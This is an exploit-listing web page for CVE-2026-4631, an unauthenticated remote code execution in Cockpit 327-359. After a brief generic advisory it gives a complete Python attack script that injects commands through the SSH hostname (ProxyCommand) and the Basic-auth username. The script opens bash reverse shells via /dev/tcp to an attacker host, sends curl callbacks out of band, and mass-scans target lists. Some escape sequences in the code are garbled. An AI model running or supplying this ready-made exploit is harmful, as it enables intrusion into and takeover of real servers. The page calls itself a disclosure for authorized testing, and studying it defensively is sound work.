Skip to main content

Cockpit 359 – RCE

Categories: WebApps

Overview

The recently identified vulnerability, Cockpit 359 – RCE, cataloged under CVE-2026-4631, poses a significant risk to systems utilizing the Cockpit web-based interface for managing Linux servers. This remote code execution (RCE) vulnerability allows an attacker to execute arbitrary code on the affected systems, potentially leading to unauthorized access and control over sensitive data and critical infrastructure.

Technical Details

The vulnerability arises from improper input validation within the Cockpit API, specifically in the handling of user-supplied data. When an attacker sends crafted requests to the Cockpit interface, they can exploit this flaw to inject malicious payloads. The execution of these payloads can occur due to insufficient sanitization of inputs, allowing attackers to run arbitrary commands with the privileges of the Cockpit service.

For example, if an attacker can access the Cockpit interface, they might send a specially crafted HTTP request that includes malicious scripts. Upon processing this request, the server executes the embedded code, which could lead to full system compromise. This type of attack is particularly concerning in environments where Cockpit is used to manage critical applications and services.

Impact

The potential consequences of exploiting CVE-2026-4631 are severe. Attackers could gain full administrative control over the affected systems, leading to data breaches, service disruptions, and the possibility of lateral movement within the network. In a worst-case scenario, this vulnerability could facilitate the deployment of ransomware or other malicious software, putting organizational data and reputation at risk.

Mitigation

To protect against CVE-2026-4631, organizations should prioritize updating to the latest version of Cockpit, where this vulnerability has been addressed. Regularly patching and updating software is a fundamental practice in cybersecurity hygiene. Security professionals should also implement strict access controls and network segmentation to limit exposure to the Cockpit interface.

Furthermore, it is advisable to conduct regular security audits and penetration testing to identify and remediate potential vulnerabilities proactively. Employing web application firewalls (WAFs) can also help filter out malicious requests targeting the Cockpit API, adding an additional layer of security. By staying informed about emerging threats and maintaining robust security practices, organizations can significantly reduce their risk of exploitation.

Proof of Concept (PoC)

poc.sh
 # Exploit Title: Cockpit 359 - RCE
 # Date: 18-04-2026
 # Exploit Author: @intx0x80
 # Vendor Homepage: https://cockpit-project.org/
 # Software Link: https://github.com/cockpit-project/cockpit
 # Version: 327-359
 # Tested on: Debain
 # CVE : CVE-2026-4631

import base64
import argparse
import requests
import urllib3
import urllib.parse
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

RED    = "33[91m"
GREEN  = "33[92m"
YELLOW = "33[93m"
CYAN   = "33[96m"
BOLD   = "33[1m"
RESET  = "33[0m"

def banner():
    print(f"""{CYAN}{BOLD}
╔══════════════════════════════════════════════════════════════╗
║         CVE-2026-4631  -  Cockpit SSH Argument Injection     ║
║         Unauthenticated Remote Code Execution                ║
╚══════════════════════════════════════════════════════════════╝


            @intx0x80


{RESET}""")

def info(msg):  print(f"{CYAN}[*]{RESET} {msg}")
def ok(msg):    print(f"{GREEN}[+]{RESET} {msg}")
def warn(msg):  print(f"{YELLOW}[!]{RESET} {msg}")
def err(msg):   print(f"{RED}[-]{RESET} {msg}")
def die(msg):   err(msg); sys.exit(1)

def make_auth_header(username="invalid", password="PWN"):
    creds = f"{username}:{password}"
    encoded = base64.b64encode(creds.encode()).decode()
    return f"Basic {encoded}"

def exploit_hostname(target, session, command):
    print(f"n{YELLOW}[*] Attack vector: Hostname ProxyCommand injection{RESET}")
    encoded_cmd = urllib.parse.quote(command, safe="")
    url = f"{target}/cockpit+=-oProxyCommand={encoded_cmd}/login"

    print(f"[*] Request: GET {url}")

    headers = {
        "Authorization": make_auth_header(),
        "Referer": f"{target}/",
        "Origin": target,
    }

    try:
        r = session.get(url, headers=headers, timeout=10)
        print(f"[*] Response: {r.status_code}")

        if r.status_code in (200, 401, 403, 500):
            print("[+] Request delivered - SSH process spawned")
            print("[+] ProxyCommand executed (if OpenSSH < 9.6 on target)")

        snippet = r.text[:200].strip()
        if snippet:
            print(f"[*] Body snippet: {snippet}")

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset - server may have crashed (command ran)")
    except Exception as e:
        print(f"[-] Error: {e}")

def exploit_username(target, session, command, ssh_host="127.0.0.1"):
    print(f"n{YELLOW}[*] Attack vector Username %%r token injection{RESET}")
    print(f"[*] Command: {command}")

    payload_user = f"x; {command}; #"
    print(f"[*] Username payload: {payload_user}")

    headers = {
        "Authorization": make_auth_header(username=payload_user, password="invalid"),
        "Referer": f"{target}/",
        "Origin": target,
    }

    url = f"{target}/cockpit+={ssh_host}/login"

    try:
        r = session.get(url, headers=headers, timeout=10)
        tm = r.elapsed.total_seconds()
        # print(f"[+] Time {tm}")
        # print(f"[*] Response: {r.status_code}")
        if r.status_code in (200, 401, 403, 500):
            print("[+] Request delivered")
        else:
            print(f"[-] Unexpected status code: {r.status_code}")

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset")
    except Exception as e:
        print(f"[-] Error: {e}")

def detect_time_based(target, session, command, ssh_host="127.0.0.1"):
    print(f"{GREEN}[+] Scanning target: {target}{RESET}")
    payload_user = f"x; {command}; #"

    headers = {
        "Authorization": make_auth_header(username=payload_user, password="invalid"),
        "Referer": f"{target}/",
        "Origin": target,
    }

    url = f"{target}/cockpit+={ssh_host}/login"

    try:
        r = session.get(url, headers=headers, timeout=10)
        tm = r.elapsed.total_seconds()
        
        if tm >= 5:
            print(f"{GREEN}[+] Vulnerable (Time-based): {target} (Duration: {tm:.2f}s){RESET}")
        else:
            print(f"[-] Not Vulnerable (Time-based): {target} (Duration: {tm:.2f}s)")
            
        if r.status_code in (200, 401, 403, 500):
            pass 

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset")
    except Exception as e:
        print(f"[-] Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-4631")
    parser.add_argument("--target", required=False, help="Cockpit URL e.g. http://127.0.0.1:9090")
    parser.add_argument("--vector", choices=["hostname", "username"], help="Injection vector")
    parser.add_argument("--cmd", help="Command to execute")
    parser.add_argument("--callback", help="OOB callback URL (hostname vector or DNS lookup)")
    parser.add_argument("--lhost", help="Reverse shell listener IP")
    parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port (default 4444)")
    parser.add_argument("--ssh-host", default="127.0.0.1", help="SSH host for username vector")
    parser.add_argument("--file", default="url.txt", help="File containing URLs to scan")

    args = parser.parse_args()

    if not args.target and not args.file:
        die("[-] Error: Either --target or --file is required.")

    if not args.vector:
        print("n[*] Detection complete. Use --vector to exploit.")
        return

    session = requests.Session()
    session.verify = False

    if args.vector == "hostname":
        if args.lhost:
            cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
        elif args.callback:
            cmd = f"curl `hostname`.{args.callback}"
        elif args.cmd:
            cmd = args.cmd
        else:
            die("[-] Hostname vector needs --cmd, --callback, or --lhost")
        
        if args.target:
            target = args.target.rstrip("/")
            exploit_hostname(target, session, cmd)
        else:
            die("[-] Hostname vector requires --target")

    elif args.vector == "username":
        if args.target:
            target = args.target.rstrip("/")
            
            if args.callback:
                cmd = f"curl {args.callback}"
                exploit_username(target, session, cmd, args.ssh_host)
            
            elif args.cmd:
                exploit_username(target, session, args.cmd, args.ssh_host)
            
            elif args.lhost:
                cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
                exploit_username(target, session, cmd, args.ssh_host)
            
            else:
                print("[*] No command/callback provided. Running time-based detection...")
                detect_time_based(target, session, "sleep 5", args.ssh_host)

        elif args.file:
            try:
                with open(args.file, "r") as f:
                    urls = [line.strip() for line in f if line.strip()]
            except FileNotFoundError:
                die(f"[-] File not found: {args.file}")

            if args.callback:
                print(f"{GREEN}[+] Scanning {len(urls)} targets with callback: {args.callback}{RESET}")
                for target in urls:
                    linker = target.strip().split(":")[1].replace("//", "") if ":" in target else "unknown"
                    cmd = f"curl `hostname`.{linker}-{args.callback}"
                    exploit_username(target, session, cmd, args.ssh_host)
            
            else:
                print(f"{YELLOW}[+] Scanning {len(urls)} targets for time-based vulnerability...{RESET}")
                for target in urls:
                    detect_time_based(target, session, "sleep 5", args.ssh_host)

if __name__ == "__main__":
    banner()
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...